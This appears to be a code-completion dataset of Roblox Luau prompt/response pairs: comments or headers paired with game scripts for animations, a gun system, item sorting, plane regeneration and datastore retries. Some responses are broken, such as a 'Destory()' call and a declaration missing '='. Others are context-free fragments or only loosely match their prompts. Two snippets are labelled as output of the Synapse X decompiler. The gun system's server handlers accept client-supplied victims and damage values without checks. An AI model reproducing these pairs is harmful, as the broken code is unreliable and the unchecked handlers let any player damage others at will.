Prompt:
--[[
	Handles client-side squash animations for the rooster NPCs around the market

	Note: Typically, using an actual AnimationTrack would be preferred because it gives more flexibility
	and is more performant than tweening properties. However, here we do the latter because this is a sample
	project, and use of animations is restricted to only the uploader. Therefore, if we used the Roblox animation system,
	the animations would not be available to anyone getting a standalone copy of this place.
--]]

Response:
local TweenService = game:GetService("TweenService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local getInstance = require(ReplicatedStorage.Source.Utility.getInstance)

local SQUASH_FACTOR = 1.1
local ANIMATION_TIME = 0.6
local SQUASH_SCALAR = Vector3.new(SQUASH_FACTOR, 1 / SQUASH_FACTOR, SQUASH_FACTOR)

local random = Random.new()

local AnimatedRoosterNPC = {}
AnimatedRoosterNPC.__index = AnimatedRoosterNPC

export type ClassType = typeof(setmetatable(
	{} :: {
		_instance: Model,
		_loopedAnimationTween: Tween?,
	},
	AnimatedRoosterNPC
))

function AnimatedRoosterNPC.new(npcModel: Model): ClassType
	local self = {
		_instance = npcModel,
	}

	setmetatable(self, AnimatedRoosterNPC)

	-- Offset animations to add some variation across roosters
	task.delay(math.random() * ANIMATION_TIME, self._startAnimation, self)

	return self
end

function AnimatedRoosterNPC._startAnimation(self: ClassType)
	local mesh: MeshPart = getInstance(self._instance, "Mesh")
	local tweenInfo = TweenInfo.new(
		ANIMATION_TIME,
		Enum.EasingStyle.Back,
		Enum.EasingDirection.InOut,
		-1,
		true,
		random:NextNumber(1.5, 3)
	)
	local squashedMeshSize = mesh.Size * SQUASH_SCALAR

	local tween = TweenService:Create(mesh, tweenInfo, {
		Size = squashedMeshSize,
		CFrame = mesh.CFrame * CFrame.new(0, -(mesh.Size - squashedMeshSize).Y / 2, 0),
	})
	tween:Play()
	self._loopedAnimationTween = tween
end

function AnimatedRoosterNPC.destroy(self: ClassType)
	if self._loopedAnimationTween then
		self._loopedAnimationTween:Cancel()
	end
end

return AnimatedRoosterNPC


Prompt:
--- Same as indexing, but uses an incremented number as a key.
-- @param task An item to clean
-- @treturn number taskId

Response:
function Maid:GiveTask(task)
	assert(task)
	local taskId = #self._tasks+1
	self[taskId] = task
	return taskId
end

function Maid:GivePromise(promise)
	if not promise:IsPending() then
		return promise
	end

	local newPromise = promise.resolved(promise)
	local id = self:GiveTask(newPromise)

	-- Ensure GC
	newPromise:Finally(function()
		self[id] = nil
	end)

	return newPromise
end


Response:
local BulletModel =  ACS_Storage.Server

game.Players.PlayerAdded:connect(function(SKP_001)
SKP_001.CharacterAppearanceLoaded:Connect(function(SKP_002)

	for SKP_003, SKP_004 in pairs(Engine.Essential:GetChildren()) do
			if SKP_004 then
				local SKP_005 = SKP_004:clone()
				SKP_005.Parent = SKP_001.PlayerGui
				SKP_005.Disabled = false
			end
		end

	if SKP_001.Character:FindFirstChild('Head') then
		Evt.TeamTag:FireAllClients(SKP_001, SKP_002)
	end
end)

	SKP_001.Changed:connect(function()
		Evt.TeamTag:FireAllClients(SKP_001)
	end)

end)

function Weld(SKP_001, SKP_002, SKP_003, SKP_004)
	local SKP_005 = Instance.new("Motor6D", SKP_001)
	SKP_005.Part0 = SKP_001
	SKP_005.Part1 = SKP_002
	SKP_005.Name = SKP_001.Name
	SKP_005.C0 = SKP_003 or SKP_001.CFrame:inverse() * SKP_002.CFrame
	SKP_005.C1 = SKP_004 or CFrame.new()
	return SKP_005
end

Evt.Recarregar.OnServerEvent:Connect(function(Player, StoredAmmo,Arma)
	Arma.ACS_Modulo.Variaveis.StoredAmmo.Value = StoredAmmo
end)

Evt.Treino.OnServerEvent:Connect(function(Player, Vitima)

	if Vitima.Parent:FindFirstChild("Saude") ~= nil then
	local saude = Vitima.Parent.Saude
		saude.Variaveis.HitCount.Value = saude.Variaveis.HitCount.Value + 1
	end

end)

Evt.SVFlash.OnServerEvent:Connect(function(Player,Mode,Arma,Angle,Bright,Color,Range)
if ServerConfig.ReplicatedFlashlight then
	Evt.SVFlash:FireAllClients(Player,Mode,Arma,Angle,Bright,Color,Range)
	end
end)

Evt.SVLaser.OnServerEvent:Connect(function(Player,Position,Modo,Cor,Arma,IRmode)
	if ServerConfig.ReplicatedLaser then
	Evt.SVLaser:FireAllClients(Player,Position,Modo,Cor,Arma,IRmode)
	end
	--print(Player,Position,Modo,Cor)
end)

Evt.Breach.OnServerEvent:Connect(function(Player,Mode,BreachPlace,Pos,Norm,Hit)

	if Mode == 1 then
	Player.Character.Saude.Kit.BreachCharges.Value = Player.Character.Saude.Kit.BreachCharges.Value - 1
	BreachPlace.Destroyed.Value = true
	local C4 = Engine.FX.BreachCharge:Clone()

	C4.Parent = BreachPlace.Destroyable
	C4.Center.CFrame = CFrame.new(Pos, Pos + Norm) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))
	C4.Center.Place:play()

	local weld = Instance.new("WeldConstraint")
	weld.Parent = C4
	weld.Part0 = BreachPlace.Destroyable.Charge
	weld.Part1 = C4.Center

	wait(1)
	C4.Center.Beep:play()
	wait(4)
	local Exp = Instance.new("Explosion")
		Exp.BlastPressure = 0
		Exp.BlastRadius = 0
		Exp.DestroyJointRadiusPercent = 0
		Exp.Position = C4.Center.Position
		Exp.Parent = workspace

	local S = Instance.new("Sound")
		S.EmitterSize = 50
		S.MaxDistance = 1500
		S.SoundId = "rbxassetid://".. Explosion[math.random(1, 7)]
		S.PlaybackSpeed = math.random(30,55)/40
		S.Volume = 2
		S.Parent = Exp
		S.PlayOnRemove = true
		S:Destroy()

	--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
		if SKP_002:IsA('Player') and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - C4.Center.Position).magnitude <= 15 then
			local DistanceMultiplier = (((SKP_002.Character.Head.Position - C4.Center.Position).magnitude/25) - 1) * -1
			local intensidade = DistanceMultiplier
			local Tempo = 15 * DistanceMultiplier
			Evt.Suppression:FireClient(SKP_002,2,intensidade,Tempo)
		end
	end	]]

	Debris:AddItem(BreachPlace.Destroyable,0)
	elseif Mode == 2 then

	Player.Character.Saude.Kit.BreachCharges.Value = Player.Character.Saude.Kit.BreachCharges.Value - 1
	BreachPlace.Destroyed.Value = true
	local C4 = Engine.FX.BreachCharge:Clone()

	C4.Parent = BreachPlace
	C4.Center.CFrame = CFrame.new(Pos, Pos + Norm) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))
	C4.Center.Place:play()

	local weld = Instance.new("WeldConstraint")
	weld.Parent = C4
	weld.Part0 = BreachPlace.Door.Door
	weld.Part1 = C4.Center

	wait(1)
	C4.Center.Beep:play()
	wait(4)
	local Exp = Instance.new("Explosion")
		Exp.BlastPressure = 0
		Exp.BlastRadius = 0
		Exp.DestroyJointRadiusPercent = 0
		Exp.Position = C4.Center.Position
		Exp.Parent = workspace

	local S = Instance.new("Sound")
		S.EmitterSize = 50
		S.MaxDistance = 1500
		S.SoundId = "rbxassetid://".. Explosion[math.random(1, 7)]
		S.PlaybackSpeed = math.random(30,55)/40
		S.Volume = 2
		S.Parent = Exp
		S.PlayOnRemove = true
		S:Destroy()

	--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
		if SKP_002:IsA('Player') and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - C4.Center.Position).magnitude <= 15 then
			local DistanceMultiplier = (((SKP_002.Character.Head.Position - C4.Center.Position).magnitude/25) - 1) * -1
			local intensidade = DistanceMultiplier
			local Tempo = 15 * DistanceMultiplier
			Evt.Suppression:FireClient(SKP_002,2,intensidade,Tempo)
		end
	end]]

	Debris:AddItem(BreachPlace,0)

	elseif Mode == 3 then

	Player.Character.Saude.Kit.Fortifications.Value = Player.Character.Saude.Kit.Fortifications.Value - 1
	BreachPlace.Fortified.Value = true
	local C4 = Instance.new('Part')

	C4.Parent = BreachPlace.Destroyable
	C4.Size =  Vector3.new(Hit.Size.X + .05,Hit.Size.Y + .05,Hit.Size.Z + 0.5)
	C4.Material = Enum.Material.DiamondPlate
	C4.Anchored = true
	C4.CFrame = Hit.CFrame

	local S = Engine.FX.FortFX:Clone()
		S.PlaybackSpeed = math.random(30,55)/40
		S.Volume = 1
		S.Parent = C4
		S.PlayOnRemove = true
		S:Destroy()

	end
end)

Evt.Hit.OnServerEvent:Connect(function(Player, Position, HitPart, Normal, Material, Settings)

	Evt.Hit:FireAllClients(Player, Position, HitPart, Normal, Material, Settings)

	if Settings.ExplosiveHit == true then

		local Hitmark = Instance.new("Attachment")
			Hitmark.CFrame = CFrame.new(Position, Position + Normal)
			Hitmark.Parent = workspace.Terrain
			Debris:AddItem(Hitmark, 5)

		local Exp = Instance.new("Explosion")
		Exp.BlastPressure = Settings.ExPressure
		Exp.BlastRadius = Settings.ExpRadius
		Exp.DestroyJointRadiusPercent = Settings.DestroyJointRadiusPercent
		Exp.Position = Hitmark.Position
		Exp.Parent = Hitmark

		local S = Instance.new("Sound")
		S.EmitterSize = 50
		S.MaxDistance = 1500
		S.SoundId = "rbxassetid://".. Explosion[math.random(1, 7)]
		S.PlaybackSpeed = math.random(30,55)/40
		S.Volume = 2
		S.Parent = Exp
		S.PlayOnRemove = true
		S:Destroy()

		Exp.Hit:connect(function(hitPart, partDistance)
  		 local humanoid = hitPart.Parent and hitPart.Parent:FindFirstChild("Humanoid")
    			if humanoid then
    		  	  local distance_factor = partDistance / Settings.ExpRadius    -- get the distance as a value between 0 and 1
      		 		 distance_factor = 1 - distance_factor                         -- flip the amount, so that lower == closer == more damage
					if distance_factor > 0 then
					humanoid:TakeDamage(Settings.ExplosionDamage*distance_factor)                -- 0: no damage; 1: max damage
  					 end
				end
		end)
	end

	--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
		if SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - Hitmark.WorldPosition).magnitude <= Settings.SuppressMaxDistance then
			Evt.Suppression:FireClient(SKP_002,1,10,5)
		end
	end	]]
end)

Evt.LauncherHit.OnServerEvent:Connect(function(Player, Position, HitPart, Normal)
	Evt.LauncherHit:FireAllClients(Player, Position, HitPart, Normal)
end)

Evt.Whizz.OnServerEvent:Connect(function(Player, Vitima)
	Evt.Whizz:FireClient(Vitima)
end)

Evt.Suppression.OnServerEvent:Connect(function(Player, Vitima)
	Evt.Suppression:FireClient(Vitima,1,10,5)
end)

Evt.ServerBullet.OnServerEvent:connect(function(Player, BulletCF, Tracer, Force, BSpeed, Direction, TracerColor,Ray_Ignore,BulletFlare,BulletFlareColor)
	Evt.ServerBullet:FireAllClients(Player, BulletCF, Tracer, Force, BSpeed, Direction, TracerColor,Ray_Ignore,BulletFlare,BulletFlareColor)
end)

Evt.Equipar.OnServerEvent:Connect(function(Player,Arma)

	local Torso = Player.Character:FindFirstChild('Torso')
	local Head = Player.Character:FindFirstChild('Head')
	local HumanoidRootPart = Player.Character:FindFirstChild('HumanoidRootPart')

	if Player.Character:FindFirstChild('Holst' .. Arma.Name) then
		Player.Character['Holst' .. Arma.Name]:Destroy()
	end

	local ServerGun = GunModelServer:FindFirstChild(Arma.Name):clone()
	ServerGun.Name = 'S' .. Arma.Name
	local Settings = require(Arma.ACS_Modulo.Variaveis:WaitForChild("Settings"))

	Arma.ACS_Modulo.Variaveis.BType.Value = Settings.BulletType

	AnimBase = Instance.new("Part", Player.Character)
	AnimBase.FormFactor = "Custom"
	AnimBase.CanCollide = false
	AnimBase.Transparency = 1
	AnimBase.Anchored = false
	AnimBase.Name = "AnimBase"
	AnimBase.Size = Vector3.new(0.1, 0.1, 0.1)

	AnimBaseW = Instance.new("Motor6D")
	AnimBaseW.Part0 = AnimBase
	AnimBaseW.Part1 = Head
	AnimBaseW.Parent = AnimBase
	AnimBaseW.Name = "AnimBaseW"

	RA = Player.Character['Right Arm']
	LA = Player.Character['Left Arm']
	RightS = Player.Character.Torso:WaitForChild("Right Shoulder")
	LeftS = Player.Character.Torso:WaitForChild("Left Shoulder")

	Right_Weld = Instance.new("Motor6D")
	Right_Weld.Name = "RAW"
	Right_Weld.Part0 = RA
	Right_Weld.Part1 = AnimBase
	Right_Weld.Parent = AnimBase
	Right_Weld.C0 = Settings.RightArmPos
	Player.Character.Torso:WaitForChild("Right Shoulder").Part1 = nil

	Left_Weld = Instance.new("Motor6D")
	Left_Weld.Name = "LAW"
	Left_Weld.Part0 = LA
	Left_Weld.Part1 = AnimBase
	Left_Weld.Parent = AnimBase
	Left_Weld.C0 = Settings.LeftArmPos
	Player.Character.Torso:WaitForChild("Left Shoulder").Part1 = nil

	ServerGun.Parent = Player.Character

	for SKP_001, SKP_002 in pairs(ServerGun:GetChildren()) do
			if SKP_002:IsA('BasePart') and SKP_002.Name ~= 'Grip' then
				local SKP_003 = Instance.new('WeldConstraint')
				SKP_003.Parent = SKP_002
				SKP_003.Part0 = SKP_002
				SKP_003.Part1 = ServerGun.Grip
			end;
		end

		local SKP_004 = Instance.new('Motor6D')
		SKP_004.Name = 'GripW'
		SKP_004.Parent = ServerGun.Grip
		SKP_004.Part0 = ServerGun.Grip
		SKP_004.Part1 = Player.Character['Right Arm']
		SKP_004.C1 = Settings.ServerGunPos

		for L_74_forvar1, L_75_forvar2 in pairs(ServerGun:GetChildren()) do
			if L_75_forvar2:IsA('BasePart') then
				L_75_forvar2.Anchored = false
				L_75_forvar2.CanCollide = false
			end
		end

end)

Evt.SilencerEquip.OnServerEvent:Connect(function(Player,Arma,Silencer)
	local Arma = Player.Character['S' .. Arma.Name]
	local Fire

	if Silencer then
		Arma.Silenciador.Transparency = 0
	else
		Arma.Silenciador.Transparency = 1
	end

end)

Evt.Desequipar.OnServerEvent:Connect(function(Player,Arma,Settings)

	if Settings.EnableHolster and Player.Character and Player.Character.Humanoid and Player.Character.Humanoid.Health > 0 then
			if Player.Backpack:FindFirstChild(Arma.Name) then
				local SKP_001 = GunModelServer:FindFirstChild(Arma.Name):clone()
				SKP_001.PrimaryPart = SKP_001.Grip
				SKP_001.Parent = Player.Character
				SKP_001.Name = 'Holst' .. Arma.Name

				for SKP_002, SKP_003 in pairs(SKP_001:GetDescendants()) do
					if SKP_003:IsA('BasePart') and SKP_003.Name ~= 'Grip' then
						Weld(SKP_003, SKP_001.Grip)
					end

					if SKP_003:IsA('BasePart') and SKP_003.Name == 'Grip' then
						Weld(SKP_003, Player.Character[Settings.HolsterTo], CFrame.new(), Settings.HolsterPos)
					end
				end

				for SKP_004, SKP_005 in pairs(SKP_001:GetDescendants()) do
					if SKP_005:IsA('BasePart') then
						SKP_005.Anchored = false
						SKP_005.CanCollide = false
					end
				end
			end
		end

	if Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil then
		Player.Character['S' .. Arma.Name]:Destroy()
		Player.Character.AnimBase:Destroy()
	end

	if Player.Character.Torso:FindFirstChild("Right Shoulder") ~= nil then
		Player.Character.Torso:WaitForChild("Right Shoulder").Part1 = Player.Character['Right Arm']
	end
	if Player.Character.Torso:FindFirstChild("Left Shoulder") ~= nil then
		Player.Character.Torso:WaitForChild("Left Shoulder").Part1 = Player.Character['Left Arm']
	end
	if Player.Character.Torso:FindFirstChild("Neck") ~= nil then
		Player.Character.Torso:WaitForChild("Neck").C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		Player.Character.Torso:WaitForChild("Neck").C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
	end
end)

Evt.Holster.OnServerEvent:Connect(function(Player,Arma)
	if Player.Character:FindFirstChild('Holst' .. Arma.Name) then
		Player.Character['Holst' .. Arma.Name]:Destroy()
	end
end)

Evt.HeadRot.OnServerEvent:connect(function(Player, Rotacao, Offset, Equipado)
	Evt.HeadRot:FireAllClients(Player, Rotacao, Offset, Equipado)
end)

local TS = game:GetService('TweenService')

Evt.Atirar.OnServerEvent:Connect(function(Player,FireRate,Anims,Arma)

	Evt.Atirar:FireAllClients(Player,FireRate,Anims,Arma)

end)

Evt.Stance.OnServerEvent:Connect(function(Player,stance,Settings,Anims)
	if Player.Character.Humanoid.Health > 0 and Player.Character.AnimBase:FindFirstChild("RAW") ~= nil and Player.Character.AnimBase:FindFirstChild("LAW") ~= nil then

		local Right_Weld = Player.Character.AnimBase:WaitForChild("RAW")
		local Left_Weld = Player.Character.AnimBase:WaitForChild("LAW")

		if stance == 0 then

			TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Settings.RightArmPos} ):Play()
			TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Settings.LeftArmPos} ):Play()

		elseif stance == 2 then

			TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightAim} ):Play()
			TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftAim} ):Play()

		elseif stance == 1 then

			TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightHighReady} ):Play()
			TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftHighReady} ):Play()

		elseif stance == -1 then

			TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightLowReady} ):Play()
			TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftLowReady} ):Play()

		elseif stance == -2 then

			TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightPatrol} ):Play()
			TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftPatrol} ):Play()

		elseif stance == 3 then

			TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightSprint} ):Play()
			TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftSprint} ):Play()

		end
	end
end)

Evt.Damage.OnServerEvent:Connect(function(Player,VitimaHuman,Dano,DanoColete,DanoCapacete)

	if VitimaHuman ~= nil then
		if VitimaHuman.Parent:FindFirstChild("Saude") ~= nil then
			local Colete = VitimaHuman.Parent.Saude.Protecao.VestVida
			local Capacete = VitimaHuman.Parent.Saude.Protecao.HelmetVida
			Colete.Value = Colete.Value - DanoColete
			Capacete.Value = Capacete.Value - DanoCapacete
		end
	VitimaHuman:TakeDamage(Dano)
	end

end)

Evt.CreateOwner.OnServerEvent:Connect(function(Player,VitimaHuman)
	local c = Instance.new("ObjectValue")
			c.Name = "creator"
			c.Value = Player
			game.Debris:AddItem(c, 3)
			c.Parent = VitimaHuman
end)


Prompt:
--[[
	Provides an array of all item IDs in a specified parent, sorted by
	lowest purchase cost first, and alphabetical DisplayName second.

	This is used for items in the game meant to be displayed in a UI,
	such as pots and plants.
--]]

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local Sift = require(ReplicatedStorage.Dependencies.Sift)
local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute)
local ContainerByCategory = require(ReplicatedStorage.Source.SharedConstants.ContainerByCategory)
local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory)

local getAttribute = require(ReplicatedStorage.Source.Utility.getAttribute)

local function getSortedIdsInCategory(itemCategory: ItemCategory.EnumType)
	local models = ContainerByCategory[itemCategory]:GetChildren()
	local sortedModels: { Instance } = Sift.Array.sort(models, function(itemA: Instance, itemB: Instance)
		-- Coin bundles don't have Display Names or Purchase Costs
		if itemCategory == ItemCategory.CoinBundles then
			local itemAValue: number = getAttribute(itemA, Attribute.CoinBundleSize)
			local itemBValue: number = getAttribute(itemB, Attribute.CoinBundleSize)

			return itemAValue < itemBValue
		else
			local itemAName: number = getAttribute(itemA, Attribute.DisplayName)
			local itemBName: number = getAttribute(itemB, Attribute.DisplayName)

			local itemAValue: number = getAttribute(itemA, Attribute.PurchaseCost)
			local itemBValue: number = getAttribute(itemB, Attribute.PurchaseCost)

			-- Sort by cost first, alphabetical display name second
			if itemAValue == itemBValue then
				return itemAName < itemBName
			else
				return itemAValue < itemBValue
			end
		end
	end)

	-- Convert the array of models to an array of item IDs
	local sortedItemIds: { string } = Sift.Array.map(sortedModels, function(itemModel: Instance)
		return itemModel.Name
	end)

	return sortedItemIds
end

return getSortedIdsInCategory


Prompt:
--[[

= Sonic Onset Adventure Client =

Source: ControlScript/Player/Input/TouchButton.lua
Purpose: Mobile Touch Button class
Author(s): Regan "CD/TheGreenDeveloper" Green
 (badia modded 🤑)
--]]

Response:
local touch_button = {}

local gui_service = game:GetService("GuiService")
local uis = game:GetService("UserInputService")


Prompt: -- Electric Engine

Response:
Tune.Electric		= false

Tune.E_Redline	= 1600
Tune.E_Trans1	= 4000
Tune.E_Trans2	= 9000


Response:
local function Weld(part0, part1, parent)
	local weld = Instance.new("WeldConstraint")
	weld.Part0 = part0
	weld.Part1 = part1
	weld.Parent = parent or part0

	return weld
end

local function WeldParts(parts, main, unanchor)
	for i,v in pairs(parts) do
		Weld(main, v)
	end

	if not unanchor then
		for i = 1, #parts do
			parts[i].Anchored = false
		end
		main.Anchored = false
	end
end


Prompt: -- Function to check whether the player can send an invite

Response:
local function canSendGameInvite(sendingPlayer)
	local success, canSend = pcall(function()
		return SocialService:CanSendGameInviteAsync(sendingPlayer)
	end)
	return success and canSend
end

button.Activated:Connect(function()
	local canInvite = canSendGameInvite(player)
	if canInvite then
		local success, errorMessage = pcall(function()
			SocialService:PromptGameInvite(player)
		end)
	end
end)


Prompt:
-----------------
--| Functions |--
-----------------

Response:
function DamageTag(parent,damage)
	DmgTag = script.DamageTag:clone()
	DmgTag.Damage.Value = damage
	DmgTag.creator.Value = game.Players.LocalPlayer
	DmgTag.Disabled = false
	DmgTag.Parent = parent
end


Prompt: -- Libraries

Response: local Roact = require(Vendor:WaitForChild('Roact'))


Prompt: -- find player's head pos

Response:
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	local head = vCharacter:findFirstChild("Head")
	if head == nil then return end

	local launch = head.Position + 10 * v

	local missile = pie:clone()

	missile.CFrame = CFrame.new(launch,  launch + v)
	missile.Velocity = v * 50

	local force = Instance.new("BodyForce")
	force.force = Vector3.new(0,240,0)
	force.Parent = missile

	if (turbo) then
		missile.Velocity = v * 100
		force.force = Vector3.new(0,45,0)
	end

	local ps = script.Parent.PieScript:Clone()
	ps.Parent = missile
	missile.PieScript.Disabled = false

	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = vCharacter
	creator_tag.Name = "creator"
	creator_tag.Parent = missile

	missile.Parent = game.Workspace

end

function rndDir()
	return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end
if loaded==true then
	loaded=false

	local targetPos = humanoid.TargetPoint
	local lookAt = (targetPos - character.Head.Position).unit

	fire(lookAt, isTurbo(character) )

	if (isTurbo(character) == true) then
		wait(.1)
		Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
		Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
		wait(.1)
		fire(lookAt * .9 + rndDir() * .1, isTurbo(character) )
		Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
		Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
		wait(.1)
		fire(lookAt * .8 + rndDir() * .2, isTurbo(character) )
		wait(.1)
	else
		wait(.3)
	end

	Tool.Enabled = true
elseif loaded==false then
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
	wait(.1)
Tool.Handle.Transparency=0
wait(.1)
	loaded=true
	end
	Tool.Enabled = true
end

script.Parent.Activated:connect(onActivated)


Prompt: -- Replica destruction:

Response:
rev_ReplicaDestroy.OnClientEvent:Connect(function(replica_id) -- (replica_id)
	local replica = Replicas[replica_id]
	DestroyReplicaAndDescendantsRecursive(replica)
end)

return ReplicaController


Response:
	ltime = math.random(100,2000)
	print (ltime)
	for i=1,ltime do
	wait()
	local bewl = script.Parent:FindFirstChild("Bool")
	if bewl then
	local ignoreList = {}
	local ray = Ray.new(script.Parent.Part8.Position, missile.CFrame.lookVector * 999)
	local hit game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList, false)
	local pos = script.Parent.Bool.Position
	local line = Instance.new("Part")
		line.Name = "Line"
		line.FormFactor = "Symmetric"
		line.Size = Vector3.new(1, 1, 1)
		line.BrickColor = BrickColor.new("White")
		line.Transparency = 0
		line.CanCollide = false
		line.Anchored = true
		line.Locked = true
		line.TopSurface, line.BottomSurface = 0, 0
		line.CFrame = CFrame.new(script.Parent.Part8.Position:lerp(pos, 0.5), pos)
		local mesh = Instance.new("BlockMesh", line)
		mesh.Scale = Vector3.new(0.03, 0.03, (script.Parent.Part8.Position - pos).magnitude)
		game.Debris:AddItem(line,0.08)
		line.Parent = script.Parent
		wait(0.001)

	else
	print("No bool")
	break
	end

	end

	local bewl = script.Parent:FindFirstChild("Bool")
	if bewl then
	bewl:Destroy()

	local character = script.Parent.Parent
	local player = game.Players:GetPlayerFromCharacter(character)
 	if player then
	script.Parent.Handle.Sound:Play()
	local ItemDirectory = game.ServerStorage.Assets.MobDrops.Fishing
	local FRAP = ItemDirectory:GetChildren()[math.random(1,#ItemDirectory:GetChildren())]:clone()
	FRAP.Parent = player.Backpack
	FRAP.Handle.CFrame =script.Parent.Handle.CFrame + Vector3.new(math.random(-5, 5), 3, math.random(-5, 5))
	end
	end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local function u1(p1, p2, p3)
	local v1 = p3.X * p3.Y;
	local l__ImageRectSize__2 = p1.ImageRectSize;
	p2 = math.clamp(p2, 1, v1);
	local v3 = math.ceil(p2 / v1 * p3.Y);
	p1.ImageRectOffset = Vector2.new(l__ImageRectSize__2.X * (-1 + (p2 - p3.X * (v3 - 1))), l__ImageRectSize__2.Y * (-1 + v3));
end;
local l__RunService__2 = game:GetService("RunService");
return function(p4, p5, p6, p7, p8, p9)
	local v4 = Vector2.new(p5, p6);
	local v5 = tick();
	u1(p4, p5 * p6, v4);
	p4.Visible = true;
	local u3 = v5;
	local u4 = p7 and 60;
	local u5 = 0;
	local u6 = v4.X * v4.Y;
	local u7 = p8;
	task.defer(function()
		while p4 and p4.Parent do
			if 1 / u4 <= tick() - u3 then
				u3 = tick();
				u5 = u5 + 1;
				if u6 < u5 then
					u5 = 0;
					if not u7 then
						if p9 then
							p9();
							return;
						else
							break;
						end;
					end;
				end;
				u1(p4, u5, v4);
			end;
			l__RunService__2.RenderStepped:Wait();
		end;
	end);
	return function()
		u7 = false;
	end;
end;


Prompt: -- Another tip click Terrain then Decoration makesure to check it and turn it on!!! (MORE GRASS DETAIL)

Response: script.Parent:Destory()


Response:
function DeleteIdlePlane() --This deletes any planes that aren't currently being used
	for _,v in pairs(Planekit:GetChildren()) do
		if v.Name == "Plane" then
			v:Destroy()
		end
	end
end

function RegenMain() --This function regens the plane
	local PlaneClone2 = PlaneClone:clone()
	PlaneClone2.Parent = Planekit
	PlaneClone2.Origin.Value = Planekit
	PlaneClone2:MakeJoints()
	return PlaneClone2
end

function RegeneratePlane(Part) --This is the main regenerating function
	local Player = game.Players:GetPlayerFromCharacter(Part.Parent) --This gets the player that touched it
	if Player then
		if Active then
			Active = false
			DeleteIdlePlane() --This activates the "DeleteIdlePlane" function
			for i = 0,1,0.2 do --This makes the button transparent
				Main.Transparency = i
				wait()
			end
			if RegenTime >= 1 then
				RegenGui.Parent = Player.PlayerGui --The regengui will be put into the player if the regentime is more than 1
			end
			wait(RegenTime)
			RegenGui.Parent = script --This puts the gui back in the script
			local PlaneClone2 = RegenMain()
			if EnterOnSpawn.Value then --If the EnterOnSpawn value is true...
				coroutine.resume(coroutine.create(function()
					repeat wait() until PlaneClone2.Welded.Value
					onPlaneWelded(Player,PlaneClone2) --This activates the "onPlaneWelded" function whenever the welded value changes
				end))
			end
			wait(WaitTime)
			for i = 1,0,-0.2 do --This makes the button visible
				Main.Transparency = i
				wait()
			end
			Active = true
		end
	end
end

function onPlaneWelded(Player,Plane) --This function put you into the plane seat the moment the plane is welded
	if Plane and Player then --This checks to make sure there is a plane and a player
		if Player.Character:findFirstChild("Torso") then
			Player.Character.Torso.CFrame = Plane.MainParts.Seat.CFrame
		end
	end
end

Main.Touched:connect(RegeneratePlane) --This activates the "RegeneratePlane" function when the Main brick is touched


Prompt:
--[[	wait(3)

	tween:Play()
	wait(1)
	frame.Visible = false]]

Response: end)


Prompt: -- << FUNCTIONS >>

Response:
function module:GetData(dataStore, datastoreRetries, key)
	return module:DataStoreRetry(datastoreRetries, function()
		return dataStore:GetAsync(key)
	end)
end

function module:DataStoreRetry(datastoreRetries, dataStoreFunction)
	local tries = 0
	local success = true
	local data = nil
	local errorMsg = ""
	repeat
		tries = tries + 1
		success, errorMsg = pcall(function() data = dataStoreFunction() end)
		if not success then wait(1) end
	until tries == datastoreRetries or success
	if not success then
		--warn("HD Admin | Could not access DataStore | ".. tostring(errorMsg))
		-- Cannot access DataStore
	end
	return success, data
end

return module


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1, p2)
	return u1.Functions.RadDeltaUnsafe(u1.Functions.RadNorm(p1), u1.Functions.RadNorm(p2));
end;


Prompt: --Jitler is Pogi

Response:
local Sound = script.Parent.Sound
local Tada = Sound.Tada
local StarterGui = game:GetService("StarterGui")
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)
local Frame = script.Parent.MainFrame

local hit = false
game.Workspace.Map.Pad.Touched:connect(function(part)
	wait(.3)
